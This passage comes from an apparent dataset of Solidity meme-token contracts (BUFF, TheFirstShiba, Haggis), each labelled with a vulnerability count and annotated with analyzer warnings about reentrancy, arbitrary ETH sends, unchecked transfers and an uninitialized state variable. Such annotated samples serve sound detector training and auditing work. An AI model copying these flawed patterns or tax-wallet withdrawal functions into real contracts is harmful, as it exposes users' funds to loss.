amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 418945b\n\t\t// reentrancy-events | ID: b64f3ed\n\t\t// reentrancy-benign | ID: 2092d96\n\t\t// reentrancy-eth | ID: a507b51\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: cb17c67): TheFirstShiba.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for cb17c67: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 418945b\n\t\t// reentrancy-events | ID: b64f3ed\n\t\t// reentrancy-eth | ID: a507b51\n\t\t// arbitrary-send-eth | ID: cb17c67\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f0e3536): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f0e3536: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c440200): TheFirstShiba.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c440200: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0a948fa): TheFirstShiba.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0a948fa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a0015e7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a0015e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f0e3536\n\t\t// reentrancy-eth | ID: a0015e7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f0e3536\n\t\t// unused-return | ID: c440200\n\t\t// reentrancy-eth | ID: a0015e7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: f0e3536\n\t\t// unused-return | ID: 0a948fa\n\t\t// reentrancy-eth | ID: a0015e7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: f0e3536\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a0015e7\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: e20d705): TheFirstShiba.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for e20d705: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: e20d705\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10719.sol",
"size_bytes": 21239,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BUFF is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: f4cc360): BUFF.bots is never initialized. It is used in BUFF._transfer(address,address,uint256)\n\t// Recommendation for f4cc360: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4aaf7b2): BUFF._taxWallet should be immutable \n\t// Recommendation for 4aaf7b2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 83f4d1d): BUFF._initialBuyTax should be constant \n\t// Recommendation for 83f4d1d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 21d8f79): BUFF._initialSellTax should be constant \n\t// Recommendation for 21d8f79: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8763ec3): BUFF._reduceBuyTaxAt should be constant \n\t// Recommendation for 8763ec3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b622154): BUFF._reduceSellTaxAt should be constant \n\t// Recommendation for b622154: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: b78aee1): BUFF._preventSwapBefore should be constant \n\t// Recommendation for b78aee1: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Buff ElonDoge\";\n\n string private constant _symbol = unicode\"BUFF\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 91331b7): BUFF._taxSwapThreshold should be constant \n\t// Recommendation for 91331b7: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46b9836): BUFF._maxTaxSwap should be constant \n\t// Recommendation for 46b9836: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7286393): BUFF.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7286393: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 49f33ce): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 49f33ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 56759b0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 56759b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 49f33ce\n\t\t// reentrancy-benign | ID: 56759b0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 49f33ce\n\t\t// reentrancy-benign | ID: 56759b0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0843342): BUFF._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0843342: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 56759b0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 49f33ce\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 69cd7b0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 69cd7b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: f4cc360): BUFF.bots is never initialized. It is used in BUFF._transfer(address,address,uint256)\n\t// Recommendation for f4cc360: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3b2d158): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3b2d158: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 69cd7b0\n\t\t\t\t// reentrancy-eth | ID: 3b2d158\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 69cd7b0\n\t\t\t\t\t// reentrancy-eth | ID: 3b2d158\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3b2d158\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 3b2d158\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3b2d158\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 69cd7b0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3b2d158\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3b2d158\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 69cd7b0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 49f33ce\n\t\t// reentrancy-events | ID: 69cd7b0\n\t\t// reentrancy-benign | ID: 56759b0\n\t\t// reentrancy-eth | ID: 3b2d158\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 80ad0ae): BUFF.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 80ad0ae: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 49f33ce\n\t\t// reentrancy-events | ID: 69cd7b0\n\t\t// reentrancy-eth | ID: 3b2d158\n\t\t// arbitrary-send-eth | ID: 80ad0ae\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9282433): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9282433: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2b40b74): BUFF.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2b40b74: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1d71aee): BUFF.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1d71aee: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 82a75a9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 82a75a9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9282433\n\t\t// reentrancy-eth | ID: 82a75a9\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9282433\n\t\t// unused-return | ID: 1d71aee\n\t\t// reentrancy-eth | ID: 82a75a9\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9282433\n\t\t// unused-return | ID: 2b40b74\n\t\t// reentrancy-eth | ID: 82a75a9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9282433\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 82a75a9\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3e0e473): BUFF.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 3e0e473: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 3e0e473\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_1072.sol",
"size_bytes": 21061,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n}\n\ncontract Haggis is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 527847c): Haggis.routerAdress should be constant \n\t// Recommendation for 527847c: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: abea91c): Haggis.DEAD should be constant \n\t// Recommendation for abea91c: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ccfd4a): Haggis._totalSupply should be constant \n\t// Recommendation for 4ccfd4a: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f6e0015): Haggis._swapHaggisThreshHold should be immutable \n\t// Recommendation for f6e0015: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapHaggisThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 34d1aa8): Haggis._maxTaxSwap should be immutable \n\t// Recommendation for 34d1aa8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private Haggiss;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1ec2423): Haggis._HaggisWallet should be immutable \n\t// Recommendation for 1ec2423: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _HaggisWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public HaggisFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1cec212): Haggis._initBuyTax should be constant \n\t// Recommendation for 1cec212: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6802d86): Haggis._initSellTax should be constant \n\t// Recommendation for 6802d86: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 